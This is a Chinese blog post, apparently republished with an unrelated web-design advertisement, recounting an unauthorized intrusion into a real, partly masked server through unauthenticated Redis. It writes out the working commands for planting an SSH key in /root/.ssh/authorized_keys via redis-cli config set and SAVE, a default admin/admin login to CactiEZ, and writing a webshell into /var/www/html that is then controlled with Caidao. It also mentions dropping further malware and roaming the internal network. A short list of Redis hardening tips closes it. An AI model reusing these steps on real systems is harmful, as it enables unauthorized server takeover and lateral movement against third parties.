利用未授权的redis写webshell

最近redis的话题比较多,因此就有了下面这个故事。

创新互联公司拥有一支富有激情的企业网站制作团队,在互联网网站建设行业深耕10多年,专业且经验丰富。10多年网站优化营销经验,我们已为千余家中小企业提供了成都网站制作、做网站解决方案,按需求定制网站,设计满意,售后服务无忧。所有客户皆提供一年免费网站维护!

目标IP:210.73.90.xxx

利用漏洞:未授权的redis访问

漏洞利用1:

1)本地生成秘钥

root@GanDolf:~# ssh-keygen  -t rsa

利用未授权的redis写webshell

2)将公钥写入一个文件

root@GanDolf:~# cd /root/.ssh/

root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

3)连接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK
root@GanDolf:~/.ssh# redis-cli  -h 210.73.90.xxx

210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh

4)连接服务器

root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

发现为开启22端口

到此此方法失败

漏洞利用2:

nmap扫描结果:

80 443 开放

访问80原来是CactiEZ v10版本
尝试弱口令登录admin admin登录成功,发现无长传路径。

利用未授权的redis写webshell

尝试redis写webshell

前提:网站的物理路径

手动几次没爆成功

转向挖CactiEZ v10 的一些安装信息
于是乎,下载CactiEZ v10 自己搭建虚拟安装,启动找出物理路径为:

/var/www/html

于是利用redis写shell

利用未授权的redis写webshell

于是菜刀连起:

利用未授权的redis写webshell

最后丢个小码。看看能不能挖到啥东西,后续可以反弹到本地,内容漫游下(好多交换机,主机^__^)

利用未授权的redis写webshell

利用未授权的redis写webshell

最后总结关于redis的安全建议:

1)修改默认端口
2)监听本地端口
3)使用非root启动,否则出现漏洞1,直接拿到root权限
4)修改配置文件,禁用相关命令

# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52


分享文章:利用未授权的redis写webshell
链接分享:http://pwwzsj.com/article/jspeej.html